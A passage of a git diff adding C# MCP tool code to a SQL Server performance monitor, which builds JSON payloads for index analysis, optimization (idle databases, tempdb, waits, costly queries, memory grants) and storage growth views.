+    internal static object IndexAnalysisRollupRow(IndexCleanupRollup r, bool withWorkload, DateTime? capturedAt = null)
+    {
+        if (!withWorkload)
+        {
+            return new
+            {
+                tables_analyzed = r.TablesAnalyzed,
+                index_count = r.IndexCount,
+                total_size_gb = Gb(r.TotalSizeGb),
+                total_rows = r.TotalRows,
+                indexes_to_disable = r.IndexesToDisable,
+                indexes_to_merge = r.IndexesToMerge,
+                compressable_indexes = r.CompressableIndexes,
+                unused_indexes = r.UnusedIndexes,
+                unused_size_gb = Gb(r.UnusedSizeGb),
+                compression_min_savings_gb = Gb(r.CompressionMinSavingsGb),
+                compression_max_savings_gb = Gb(r.CompressionMaxSavingsGb),
+                total_min_savings_gb = Gb(r.TotalMinSavingsGb),
+                total_max_savings_gb = Gb(r.TotalMaxSavingsGb),
+            };
+        }
+
+        return new
+        {
+            database_name = r.DatabaseName,
+            /* When this database's newest snapshot was collected (null only if the read named no such database). */
+            captured_at = capturedAt is { } at ? McpHelpers.FormatEffectiveStart(at) : null,
+            tables_analyzed = r.TablesAnalyzed,
+            index_count = r.IndexCount,
+            total_size_gb = Gb(r.TotalSizeGb),
+            total_rows = r.TotalRows,
+            indexes_to_disable = r.IndexesToDisable,
+            indexes_to_merge = r.IndexesToMerge,
+            compressable_indexes = r.CompressableIndexes,
+            unused_indexes = r.UnusedIndexes,
+            unused_size_gb = Gb(r.UnusedSizeGb),
+            compression_min_savings_gb = Gb(r.CompressionMinSavingsGb),
+            compression_max_savings_gb = Gb(r.CompressionMaxSavingsGb),
+            total_min_savings_gb = Gb(r.TotalMinSavingsGb),
+            total_max_savings_gb = Gb(r.TotalMaxSavingsGb),
+            user_seeks = r.UserSeeks,
+            user_scans = r.UserScans,
+            user_lookups = r.UserLookups,
+            total_reads = r.UserSeeks + r.UserScans + r.UserLookups,
+            writes = r.TotalWrites,
+            lock_wait_count = r.LockWaitCount,
+            avg_lock_wait_ms = AvgWait(r.LockWaitInMs, r.LockWaitCount),
+            latch_wait_count = r.LatchWaitCount,
+            avg_latch_wait_ms = AvgWait(r.LatchWaitInMs, r.LatchWaitCount),
+        };
+    }
+
+    /// <summary>One recommendation row; a REVIEW row carries no script.</summary>
+    internal static object IndexAnalysisRecommendationRow(IndexCleanupRecommendation r, bool fullText)
+    {
+        var review = r.ResultKind == IndexCleanupResultKind.Review;
+        var (script, scriptCut) = fullText ? (review ? "" : r.Script, false) : TruncateIndexAnalysisText(review ? "" : r.Script, IndexAnalysisTextCap);
+        var (definition, definitionCut) = fullText ? (r.OriginalIndexDefinition, false) : TruncateIndexAnalysisText(r.OriginalIndexDefinition, IndexAnalysisTextCap);
+        return new
+        {
+            database_name = r.DatabaseName,
+            schema_name = r.SchemaName,
+            table_name = r.TableName,
+            index_name = r.IndexName,
+            index_id = r.IndexId,
+            action = DarlingFinOpsIndexAnalysisReader.ActionLabelFor(r.Action, r.ResultKind),
+            result_kind = DarlingFinOpsIndexAnalysisReader.ResultKindLabelFor(r.ResultKind),
+            consolidation_rule = r.ConsolidationRule,
+            target_index_name = r.TargetIndexName,
+            superseded_by = r.SupersededBy,
+            missing_included_columns = r.MissingIncludedColumns,
+            additional_info = r.AdditionalInfo,
+            index_size_gb = Gb(r.IndexSizeGb),
+            index_rows = r.IndexRows,
+            index_reads = r.IndexReads,
+            index_writes = r.IndexWrites,
+            can_compress = r.CanCompress,
+            is_foreign_key = r.IsForeignKey,
+            script_omits_partition_placement = r.ScriptOmitsPartitionPlacement,
+            script,
+            script_truncated = scriptCut,
+            original_index_definition = definition,
+            definition_truncated = definitionCut,
+        };
+    }
+
+    /// <summary>
+    /// Builds the payload from an analysis result, or an empty status when the (filtered) result holds no
+    /// roll-ups. A null <paramref name="emptyStatus"/> falls back to the generic empty message.
+    /// </summary>
+    internal static string BuildIndexAnalysisPayload(
+        string serverName, IndexCleanupAnalysisResult result, int limit, string? databaseName, bool fullText, string? emptyStatus,
+        IReadOnlyDictionary<int, DateTime>? snapshotTimes = null)
+    {
+        if (result.DatabaseRollups.Count == 0)
+        {
+            return emptyStatus
+                ?? McpHelpers.Status("empty", "No index statistics were collected for this server yet, so there is no index analysis.");
+        }
+
+        databaseName = NormalizeOptionalText(databaseName);
+        var filtered = databaseName != null;
+        var rollups = filtered
+            ? result.DatabaseRollups.Where(r => string.Equals(r.DatabaseName, databaseName, StringComparison.OrdinalIgnoreCase)).ToList()
+            : result.DatabaseRollups.ToList();
+        if (filtered && rollups.Count == 0)
+            return McpHelpers.Status("empty", $"No analyzed indexes for database '{databaseName}' in the latest snapshot.");
+
+        var recs = filtered
+            ? result.Recommendations.Where(r => string.Equals(r.DatabaseName, databaseName, StringComparison.OrdinalIgnoreCase))
+            : result.Recommendations;
+        var ordered = OrderIndexAnalysisRecommendations(recs);
+        var dbs = OrderIndexAnalysisDatabases(rollups);
+
+        var counts = new Dictionary<string, int>();
+        foreach (var a in IndexAnalysisActions) counts[a] = 0;
+        foreach (var r in ordered)
+        {
+            var label = DarlingFinOpsIndexAnalysisReader.ActionLabelFor(r.Action, r.ResultKind);
+            counts[label] = counts.GetValueOrDefault(label) + 1;
+        }
+
+        var notes = new List<string>();
+        if (result.UptimeWarning) notes.Add(IndexAnalysisUptimeNote);
+        if (result.DedupeOnlyApplied) notes.Add(IndexAnalysisDedupeNote);
+        notes.AddRange(result.Notes);
+
+        return JsonSerializer.Serialize(new
+        {
+            server = serverName,
+            view = IndexAnalysisView,
+            database_name = databaseName,
+            full_text = fullText,
+            text_cap_chars = fullText ? (int?)null : IndexAnalysisTextCap,
+            uptime_warning = result.UptimeWarning,
+            dedupe_only_applied = result.DedupeOnlyApplied,
+            notes,
+            overall = filtered ? null : IndexAnalysisRollupRow(result.OverallRollup, false),
+            overall_workload_reason = filtered ? null : "workload counters are reported per database only, as sp_IndexCleanup does",
+            database_count = dbs.Count,
+            databases_truncated = dbs.Count > MaxIndexAnalysisDatabases,
+            databases = dbs.Take(MaxIndexAnalysisDatabases).Select(d => IndexAnalysisRollupRow(d, true, SnapshotTimeOf(snapshotTimes, d.DatabaseId))).ToList(),
+            recommendation_count = ordered.Count,
+            truncated = ordered.Count > limit,
+            limit,
+            counts_by_action = counts,
+            recommendations = ordered.Take(limit).Select(r => IndexAnalysisRecommendationRow(r, fullText)).ToList(),
+        }, McpHelpers.JsonOptions);
+    }
+
+    private static DateTime? SnapshotTimeOf(IReadOnlyDictionary<int, DateTime>? times, int? databaseId)
+    {
+        if (times == null || databaseId == null || !times.TryGetValue(databaseId.Value, out var at))
+        {
+            return null;
+        }
+
+        return at;
+    }
+
+    private static async Task<string> ReadIndexAnalysisAsync(
+        NpgsqlDataSource postgres, (int ServerId, string ServerName) resolved, int hoursBack, int limit,
+        string? databaseName, bool fullText, CancellationToken ct)
+    {
+        if (hoursBack != 24)
+            return McpHelpers.Refusal("hours_back",
+                $"Invalid hours_back value '{hoursBack}': view {IndexAnalysisView} reads each database's newest collected index snapshot; hours_back does not apply. Omit it or pass 24.");
+
+        var read = await DarlingFinOpsIndexAnalysisReader.GetIndexAnalysisWithSnapshotTimesAsync(
+            postgres, resolved.ServerId, McpCommandDeadlines.ReadSeconds, ct);
+        var result = read.Result;
+        string? notCollected = null;
+        if (result.DatabaseRollups.Count == 0)
+        {
+            notCollected = await DarlingEngineCapability.NotCollectedStatusAsync(
+                postgres, resolved.ServerId, resolved.ServerName, "index_object_stats", ct);
+        }
+
+        return BuildIndexAnalysisPayload(resolved.ServerName, result, limit, databaseName, fullText, notCollected, read.SnapshotTimes);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.Optimization.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.Optimization.cs
new file mode 100644
index 0000000000..e711985368
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.Optimization.cs
@@ -0,0 +1,238 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+public sealed partial class DarlingMcpFinOpsTools
+{
+    internal const string OptimizationView = "optimization";
+
+    internal const string OptimizationViewLine =
+        "optimization: idle databases, tempdb, waits, costly queries, grants.";
+
+    internal const string OptimizationViewGuide =
+        "optimization answers five sections, each with its own status (ok, empty or not_collected, with a message when not collected) and its own window, beside server, hours_back, monthly_cost_usd and cost_reason. monthly_cost_usd is the server's registered monthly cost, null with cost_reason 'monthly cost not set' when none is set or it is 0 or less; every est_cost_usd is then null. idle_databases: databases with no query executions in a fixed 7 days (window_days 7; hours_back does not move it), from the latest size snapshot, system databases left out; rows are database_name, total_size_mb, file_count and last_execution_server_local, ordered by total_size_mb descending then database_name; up to 500 rows with database_count and truncated. last_execution_server_local is the monitored server's own clock, not UTC, printed yyyy-MM-ddTHH:mm:ss with no Z, and null when none was recorded. tempdb_pressure: a fixed 24 hours (window_hours 24); rows are metric, current_mb (latest sample), peak_24h_mb and warning, the service's own band text ('' when none), in the fixed order User Objects, Internal Objects, Version Store, Total Reserved. wait_categories: wait time by category over hours_back; rows are category, total_wait_time_ms, waiting_tasks, pct_of_total (as stored, one decimal), top_wait_type, top_wait_time_ms and est_cost_usd, ordered by total_wait_time_ms descending then category. expensive_queries: the statements with the most CPU over hours_back, clamped to the 3 days of retained query text, with effective_start the UTC start actually read (Z); limit is the top-N here (1-50, default 10; the desktop shows 20) and the only section limit applies to. Rows are database_name, total_cpu_ms, avg_cpu_ms_per_exec, total_reads, avg_reads_per_exec, executions, query_preview (first 200 characters, no full text), has_plan (no plan XML) and est_cost_usd, ordered by total_cpu_ms descending then database_name then query_preview; which of several statements tied at the top-N cut is returned is the engine's choice, since the SQL orders by CPU only. memory_grant_efficiency: a fixed 24 hours (window_hours 24, the desktop's window); one row per UTC day (day yyyy-MM-dd) with avg_granted_mb, avg_used_mb, efficiency_pct, peak_granted_mb, wasted_mb (average granted minus average used, as the desktop), total_grantees, total_waiters, timeout_errors and forced_grants, ordered by day ascending. est_cost_usd is the section's share of the window's monthly budget (monthly cost x hours_back / 730) by wait time or CPU among the rows returned, so for expensive_queries each row's share depends on limit; rounded to 2 places, null when the cost is unset or the rows total 0. est_cost_usd is an attribution of the window's budget across the returned rows, not a measured cost: the returned rows always sum to the whole window's budget whatever limit is, and the expensive-query budget uses hours_back even when its rows start at the clamped effective_start. The whole answer is status not_collected only when every section is gated for the server's engine, and status empty only when every section is empty and none is gated; a mix of gated and empty sections returns the payload, each section with its own status. Times are UTC and end in Z except last_execution_server_local.";
+
+    /// <summary>The fixed ceiling on the idle-database list.</summary>
+    internal const int MaxIdleDatabaseRows = 500;
+
+    private const int IdleDatabaseWindowDays = 7;
+    private const int TempdbWindowHours = 24;
+    private const int MemoryGrantWindowHours = 24;
+
+    /// <summary>The idle-database ordering: size descending, then name, so the order is total and a cut never depends on SQL order.</summary>
+    internal static List<IdleDatabase> OrderIdleDatabases(IEnumerable<IdleDatabase> rows) =>
+        rows.OrderByDescending(r => r.TotalSizeMb)
+            .ThenBy(r => r.DatabaseName, StringComparer.Ordinal)
+            .ToList();
+
+    /// <summary>The wait-category ordering: total wait time descending, then category.</summary>
+    internal static List<WaitCategorySummary> OrderWaitCategories(IEnumerable<WaitCategorySummary> rows) =>
+        rows.OrderByDescending(r => r.TotalWaitTimeMs)
+            .ThenBy(r => r.Category, StringComparer.Ordinal)
+            .ToList();
+
+    /// <summary>The expensive-query ordering: CPU descending, then database, then preview.</summary>
+    internal static List<ExpensiveQuery> OrderExpensiveQueries(IEnumerable<ExpensiveQuery> rows) =>
+        rows.OrderByDescending(r => r.TotalCpuMs)
+            .ThenBy(r => r.DatabaseName, StringComparer.Ordinal)
+            .ThenBy(r => r.QueryPreview, StringComparer.Ordinal)
+            .ToList();
+
+    /// <summary>
+    /// One row's estimated cost, exactly the desktop's: its part of the rows' total times the window budget
+    /// (<see cref="FinOpsCost.Share"/> of <see cref="FinOpsCost.WindowBudget"/>), to 2 places away from zero.
+    /// Null when no monthly cost is set or the rows total 0.
+    /// </summary>
+    internal static decimal? OptimizationCostShare(long part, long total, decimal monthly, int hoursBack)
+    {
+        if (monthly <= 0m || total <= 0) return null;
+        return Math.Round(FinOpsCost.Share(part, total, FinOpsCost.WindowBudget(monthly, hoursBack)), 2, MidpointRounding.AwayFromZero);
+    }
+
+    internal static object IdleDatabaseRow(IdleDatabase r) => new
+    {
+        database_name = r.DatabaseName,
+        total_size_mb = r.TotalSizeMb,
+        file_count = r.FileCount,
+        /* The monitored server's own clock, read verbatim: no Z, no shifting. */
+        last_execution_server_local = r.LastExecutionTime?.ToString("yyyy-MM-dd'T'HH:mm:ss", CultureInfo.InvariantCulture),
+    };
+
+    internal static object TempdbRow(TempdbSummaryMetric r) => new
+    {
+        metric = r.Metric,
+        current_mb = r.CurrentMb,
+        peak_24h_mb = r.Peak24hMb,
+        warning = r.Warning,
+    };
+
+    internal static List<object> WaitCategoryRows(IEnumerable<WaitCategorySummary> rows, decimal monthly, int hoursBack)
+    {
+        var ordered = OrderWaitCategories(rows);
+        var total = ordered.Sum(r => r.TotalWaitTimeMs);
+        return ordered.Select(r => (object)new
+        {
+            category = r.Category,
+            total_wait_time_ms = r.TotalWaitTimeMs,
+            waiting_tasks = r.WaitingTasks,
+            pct_of_total = r.PctOfTotal,
+            top_wait_type = r.TopWaitType,
+            top_wait_time_ms = r.TopWaitTimeMs,
+            est_cost_usd = OptimizationCostShare(r.TotalWaitTimeMs, total, monthly, hoursBack),
+        }).ToList();
+    }
+
+    internal static List<object> ExpensiveQueryRows(IEnumerable<ExpensiveQuery> rows, decimal monthly, int hoursBack)
+    {
+        var ordered = OrderExpensiveQueries(rows);
+        var total = ordered.Sum(r => r.TotalCpuMs);
+        return ordered.Select(r => (object)new
+        {
+            database_name = r.DatabaseName,
+            total_cpu_ms = r.TotalCpuMs,
+            avg_cpu_ms_per_exec = r.AvgCpuMsPerExec,
+            total_reads = r.TotalReads,
+            avg_reads_per_exec = r.AvgReadsPerExec,
+            executions = r.Executions,
+            /* #5320: judged on the whole statement, then cut to the 200 characters the SQL preview carries. */
+            query_preview = McpHelpers.StatementPreview(r.FullQueryText, 200),
+            has_plan = r.QueryPlanXml != null,
+            query_hash = r.QueryHash,
+            est_cost_usd = OptimizationCostShare(r.TotalCpuMs, total, monthly, hoursBack),
+        }).ToList();
+    }
+
+    internal static List<object> MemoryGrantRows(IEnumerable<MemoryGrantEfficiencyDto> rows) =>
+        rows.OrderBy(r => r.Day).Select(r => (object)new
+        {
+            day = r.Day.ToString("yyyy-MM-dd", CultureInfo.InvariantCulture),
+            avg_granted_mb = r.AvgGrantedMb,
+            avg_used_mb = r.AvgUsedMb,
+            efficiency_pct = r.EfficiencyPct,
+            peak_granted_mb = r.PeakGrantedMb,
+            wasted_mb = r.AvgGrantedMb - r.AvgUsedMb,
+            total_grantees = r.TotalGrantees,
+            total_waiters = r.TotalWaiters,
+            timeout_errors = r.TimeoutErrors,
+            forced_grants = r.ForcedGrants,
+        }).ToList();
+
+    /// <summary>The message inside a not-collected status envelope.</summary>
+    private static string? NotCollectedMessage(string status)
+    {
+        using var doc = JsonDocument.Parse(status);
+        return doc.RootElement.GetProperty("message").GetString();
+    }
+
+    private static async Task<string> ReadOptimizationAsync(
+        NpgsqlDataSource postgres, (int ServerId, string ServerName) resolved, int hoursBack, int limit, CancellationToken ct)
+    {
+        var now = DateTime.UtcNow;
+        var (textStart, _) = RetentionTierRouter.ClampToTextHorizon(now, now.AddHours(-hoursBack));
+        var timeout = McpCommandDeadlines.ReadSeconds;
+
+        /* The same 7-day coverage rule the recommendation row and the Server Inventory count use: an idle claim needs a query-stats
+           sample on each of the last 7 UTC days, else the list is empty and the section says why. */
+        var idleRead = await DarlingFinOpsOptimizationReader.GetIdleDatabaseReadAsync(postgres, resolved.ServerId, now.AddDays(-IdleDatabaseWindowDays), timeout, ct);
+        var idle = idleRead.Rows;
+        var tempdb = await DarlingFinOpsOptimizationReader.GetTempdbSummaryAsync(postgres, resolved.ServerId, now.AddHours(-TempdbWindowHours), timeout, ct);
+        var waits = await DarlingFinOpsOptimizationReader.GetWaitCategorySummaryAsync(postgres, resolved.ServerId, now.AddHours(-hoursBack), timeout, ct);
+        var queries = await DarlingFinOpsOptimizationReader.GetExpensiveQueriesAsync(postgres, resolved.ServerId, textStart, limit, timeout, ct);
+        var grants = await DarlingFinOpsUtilizationReader.GetMemoryGrantEfficiencyAsync(postgres, resolved.ServerId, MemoryGrantWindowHours, timeout, ct);
+
+        /* A gated section is asked only when it came back empty, as every capability check is. */
+        var idleGate = idle.Count == 0 ? await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "database_size_stats", ct) : null;
+        var tempdbGate = tempdb.Count == 0 ? await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "tempdb_stats", ct) : null;
+        var waitGate = waits.Count == 0 ? await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "wait_stats", ct) : null;
+        var queryGate = queries.Count == 0 ? await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_stats", ct) : null;
+        var grantGate = grants.Count == 0 ? await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "memory_grant_stats", ct) : null;
+
+        var gates = new[] { idleGate, tempdbGate, waitGate, queryGate, grantGate };
+        if (gates.All(g => g != null))
+            return idleGate!;
+        var counts = new[] { idle.Count, tempdb.Count, waits.Count, queries.Count, grants.Count };
+        if (IsBareEmpty(counts, gates))
+            return McpHelpers.Status("empty",
+                "No idle-database, tempdb, wait, query or memory-grant data was found for this server in the windows read, so there is no optimization data to show.");
+
+        var monthly = await FinOpsUtilizationFigures.GetMonthlyCostUsdAsync(postgres, resolved.ServerId, timeout, ct);
+        var hasCost = monthly > 0m;
+
+        var idleOrdered = OrderIdleDatabases(idle);
+        return JsonSerializer.Serialize(new
+        {
+            server = resolved.ServerName,
+            view = OptimizationView,
+            hours_back = hoursBack,
+            monthly_cost_usd = hasCost ? monthly : (decimal?)null,
+            cost_reason = hasCost ? null : "monthly cost not set",
+            idle_databases = new
+            {
+                status = SectionStatus(idleGate, idle.Count),
+                message = idleGate != null ? NotCollectedMessage(idleGate) : idleRead.Covered ? null : DarlingFinOpsOptimizationReader.IdleDatabasesEmptyText(false),
+                coverage = idleRead.Covered,
+                window_days = IdleDatabaseWindowDays,
+                database_count = idleOrdered.Count,
+                truncated = idleOrdered.Count > MaxIdleDatabaseRows,
+                rows = idleOrdered.Take(MaxIdleDatabaseRows).Select(IdleDatabaseRow).ToList(),
+            },
+            tempdb_pressure = new
+            {
+                status = SectionStatus(tempdbGate, tempdb.Count),
+                message = tempdbGate == null ? null : NotCollectedMessage(tempdbGate),
+                window_hours = TempdbWindowHours,
+                rows = tempdb.Select(TempdbRow).ToList(),
+            },
+            wait_categories = new
+            {
+                status = SectionStatus(waitGate, waits.Count),
+                message = waitGate == null ? null : NotCollectedMessage(waitGate),
+                window_hours = hoursBack,
+                rows = WaitCategoryRows(waits, monthly, hoursBack),
+            },
+            expensive_queries = new
+            {
+                status = SectionStatus(queryGate, queries.Count),
+                message = queryGate == null ? null : NotCollectedMessage(queryGate),
+                window_hours = hoursBack,
+                effective_start = McpHelpers.FormatEffectiveStart(textStart),
+                rows = ExpensiveQueryRows(queries, monthly, hoursBack),
+            },
+            memory_grant_efficiency = new
+            {
+                status = SectionStatus(grantGate, grants.Count),
+                message = grantGate == null ? null : NotCollectedMessage(grantGate),
+                window_hours = MemoryGrantWindowHours,
+                rows = MemoryGrantRows(grants),
+            },
+        }, McpHelpers.JsonOptions);
+    }
+
+    /// <summary>
+    /// Bare empty is for a server where no section has rows and none is gated. When some sections are gated and the
+    /// rest are empty, the payload goes out so each section carries its own status and message.
+    /// </summary>
+    internal static bool IsBareEmpty(IReadOnlyCollection<int> rowCounts, IReadOnlyCollection<string?> gates) =>
+        rowCounts.All(c => c == 0) && gates.All(g => g == null);
+
+    private static string SectionStatus(string? gate, int rowCount) =>
+        gate != null ? "not_collected" : rowCount == 0 ? "empty" : "ok";
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.StorageGrowth.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.StorageGrowth.cs
new file mode 100644
index 0000000000..8b35baee77
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpFinOpsTools.StorageGrowth.cs
@@ -0,0 +1,342 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage.FinOps;
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+public sealed partial class DarlingMcpFinOpsTools
+{
+    internal const string StorageGrowthView = "storage_growth";
+
+    internal const string StorageGrowthViewLine =
+        "storage_growth: database sizes, growth, fastest-growing tables.";
+
+    internal const string StorageGrowthViewGuide =
+        "storage_growth answers one level at a time, picked by parameters, beside server, view, level and hours_back; hours_back sets the objects window: 24 (the default) means 30 days, otherwise a whole number of days from 7 to 90 (168 to 2160 hours) is the window; any other value is refused, and the databases level ignores it (its past sizes are fixed at 7 and 30 days). The window is window_days; growth is over it and the daily rate is that growth divided by window_days, so it is understated when the store holds less history than the window. A window over 30 days returns at most 12 objects (truncated says so), so 90 days of cells fit the 32 KB answer. No database_name: level databases, the section databases (status, message, database_count, truncated, rows) with up to 50 rows (limit sets the count here: 1 to 500, the default 10 meaning 50), ordered by growth_30d_mb descending (null last), then growth_7d_mb descending (null last), then database_name; database_count is the count before the cap. Rows are database_name, current_size_mb, size_7d_ago_mb, size_30d_ago_mb, growth_7d_mb, growth_30d_mb, daily_growth_rate_mb (2 places), growth_pct_30d (1 place), has_sibling_row, has_log_service_file and note (the desktop's note text, null when none); the past sizes, growth, rate and percent are null when the database has no snapshot at that age, never 0. database_name: level objects, the section database (status, message, row: that database's row, or status empty when it is not in the latest snapshot) and the section objects (status, message, window_days, object_count, truncated, days, rows). limit is the object top-N here, 1-20, default 10, and is refused above 20; the indexes level refuses any limit other than the default. Rows are in the desktop's growth order (growth over the window descending with null counted as 0, then schema.table ordinal) and carry object_name ('schema.table'), schema_name, table_name, reserved_mb, used_mb (1 place), total_rows, index_count, growth_mb (1 place; a table created in the window counts its whole size; null when the database has one snapshot only or the table's size is unknown), growth_pct (1 place), daily_growth_rate_mb (2 places) and cells. days lists each UTC day with a sample, ascending, as yyyy-MM-ddTHH:mm:ss.fffffffZ; cells has one [mb, band] per day, aligned to days: mb is the table's reserved MB that day (1 place), band an integer 0-7 from log1p(mb) scaled across all the cells from the smallest positive mb (band 0) to the largest (band 7; every cell is band 0 when all the positive cells are equal, or there is only one); with fewer than 20 rows shown (limit below 20, or a window over 30 days (at most 12 objects)) the bands scale over the rows shown; a day with no sample or 0 MB is [null, null]. database_name plus object_name ('schema.table', exactly as a row of the objects level, from the 20 fastest growers; the key is matched ordinal and case-sensitive with no bracket handling, and when two tables give the same key, only the first is reachable): level indexes, the section database and the section indexes (status, index_count, truncated, rows) with up to 30 rows ordered by index_id then index_name; rows are database_name, schema_name, table_name, index_name, index_type_desc, index_id, reserved_mb (1 place), total_rows, user_seeks, user_scans, user_lookups, total_reads, user_updates, last_user_access_server_local, and classification (Unused, Write-only or Active). last_user_access_server_local is the monitored server's own clock, not UTC, printed yyyy-MM-ddTHH:mm:ss with no Z, null when none. object_name without database_name, or an object_name not among those objects, is refused. Each section's status is ok, empty or not_collected; the whole answer is not_collected only when every section is gated for the server's engine, and empty only when every section is empty and none is gated. Times are UTC and end in Z except last_user_access_server_local.";
+
+    /// <summary>The database list a default call returns: a response sized to the 32 KB target. A <c>limit</c> other than the default
+    /// sets the count instead (#5238), up to <see cref="MaxStorageGrowthDatabaseRows"/>.</summary>
+    internal const int MaxStorageGrowthDatabases = 50;
+
+    /// <summary>The most databases a caller may ask the databases level to list (#5238). The web Storage Growth tab asks for it, as the
+    /// Database Sizes tab asks for its 500 files, because the desktop grid lists every database.</summary>
+    internal const int MaxStorageGrowthDatabaseRows = 500;
+
+    /// <summary>The row count a <c>limit</c> asks the databases level for: the default <c>limit</c> means <see cref="MaxStorageGrowthDatabases"/>,
+    /// any other value is the count (the rule database_sizes uses for its 70).</summary>
+    internal static int StorageGrowthDatabaseCap(int limit) => limit == DefaultLimit ? MaxStorageGrowthDatabases : limit;
+
+    /// <summary>The fixed ceiling on the index list of one table.</summary>
+    internal const int MaxStorageGrowthIndexes = 30;
+
+    /// <summary>The most objects the objects level returns, and the set <c>object_name</c> is resolved against.</summary>
+    internal const int MaxStorageGrowthObjects = 20;
+
+    /// <summary>The heatmap's fixed window, the desktop's default.</summary>
+    internal const int StorageGrowthWindowDays = 30;
+
+    /// <summary>The longest window the objects level reads: 90 days, as hours.</summary>
+    internal const int MaxStorageGrowthHoursBack = 2160;
+
+    /// <summary>The shortest explicit window: 7 days, as hours. hours_back 24 stays the default 30 days.</summary>
+    internal const int MinStorageGrowthWindowHours = 168;
+
+    /// <summary>Windows over this many days return fewer objects, so the answer stays inside <see cref="McpResponseBudget.DefaultBytes"/>.</summary>
+    internal const int StorageGrowthLongWindowDays = 30;
+
+    /// <summary>The most objects a window over <see cref="StorageGrowthLongWindowDays"/> returns: 12 rows of 90 cells measure under the 32 KB budget at their widest, 20 do not.</summary>
+    internal const int MaxStorageGrowthLongWindowObjects = 12;
+
+    /// <summary>
+    /// The objects window in days for an hours_back, or null when the view does not take it: 24 (the default) is the
+    /// desktop's 30 days; otherwise a whole number of days from 7 to 90.
+    /// </summary>
+    internal static int? StorageGrowthWindowDaysFor(int hoursBack) =>
+        hoursBack == 24 ? StorageGrowthWindowDays
+        : hoursBack >= MinStorageGrowthWindowHours && hoursBack <= MaxStorageGrowthHoursBack && hoursBack % 24 == 0 ? hoursBack / 24
+        : null;
+
+    /// <summary>The most objects the objects level shows for a window of this many days.</summary>
+    internal static int StorageGrowthObjectCap(int windowDays) =>
+        windowDays > StorageGrowthLongWindowDays ? MaxStorageGrowthLongWindowObjects : MaxStorageGrowthObjects;
+
+    /// <summary>How many discrete bands the heatmap cells fall into.</summary>
+    internal const int StorageGrowthBandCount = 8;
+
+    /// <summary>The database ordering: 30-day growth descending (null last), then 7-day growth the same way, then name, so the order is total.</summary>
+    internal static List<StorageGrowthDto> OrderStorageGrowthDatabases(IEnumerable<StorageGrowthDto> rows) =>
+        rows.OrderBy(r => r.Growth30dMb is null)
+            .ThenByDescending(r => r.Growth30dMb ?? 0m)
+            .ThenBy(r => r.Growth7dMb is null)
+            .ThenByDescending(r => r.Growth7dMb ?? 0m)
+            .ThenBy(r => r.DatabaseName, StringComparer.Ordinal)
+            .ToList();
+
+    /// <summary>The index ordering: index id, then name.</summary>
+    internal static List<IndexUsageDto> OrderStorageGrowthIndexes(IEnumerable<IndexUsageDto> rows) =>
+        rows.OrderBy(r => r.IndexId)
+            .ThenBy(r => r.IndexName, StringComparer.Ordinal)
+            .ToList();
+
+    private static decimal? RoundGrowth(decimal? value, int places) =>
+        value is decimal v ? Math.Round(v, places, MidpointRounding.AwayFromZero) : null;
+
+    /// <summary>One database's row; the note is the desktop's text.</summary>
+    internal static object StorageGrowthDatabaseRow(StorageGrowthDto r) => new
+    {
+        database_name = r.DatabaseName,
+        current_size_mb = RoundGrowth(r.CurrentSizeMb, 2),
+        size_7d_ago_mb = RoundGrowth(r.Size7dAgoMb, 2),
+        size_30d_ago_mb = RoundGrowth(r.Size30dAgoMb, 2),
+        growth_7d_mb = RoundGrowth(r.Growth7dMb, 2),
+        growth_30d_mb = RoundGrowth(r.Growth30dMb, 2),
+        daily_growth_rate_mb = RoundGrowth(r.DailyGrowthRateMb, 2),
+        growth_pct_30d = RoundGrowth(r.GrowthPct30d, 1),
+        size_7d_ago_note = DarlingFinOpsStorageGrowthReader.NoBaselineNote(7, r.Size7dAgoMb),
+        size_30d_ago_note = DarlingFinOpsStorageGrowthReader.NoBaselineNote(30, r.Size30dAgoMb),
+        has_sibling_row = r.HasSiblingRow,
+        has_log_service_file = r.HasLogServiceFile,
+        note = AzureSiblingDatabaseSize.StorageGrowthNote(r.HasLogServiceFile, r.HasSiblingRow),
+    };
+
+    /// <summary>The key an object is known by: <c>schema.table</c>.</summary>
+    internal static string StorageGrowthObjectKey(ObjectSizeGrowthDto o) => $"{o.SchemaName}.{o.TableName}";
+
+    /// <summary>
+    /// The objects in the desktop's order (<see cref="FinOpsHeatmapBuilder.RankTopGrowers"/>: growth descending with a
+    /// missing growth counted as 0, then key ordinal), cut to <paramref name="limit"/>; the second value says whether
+    /// more were left out.
+    /// </summary>
+    internal static (List<ObjectSizeGrowthDto> Ranked, bool Truncated) RankStorageGrowthObjects(IReadOnlyCollection<ObjectSizeGrowthDto> objects, int limit)
+    {
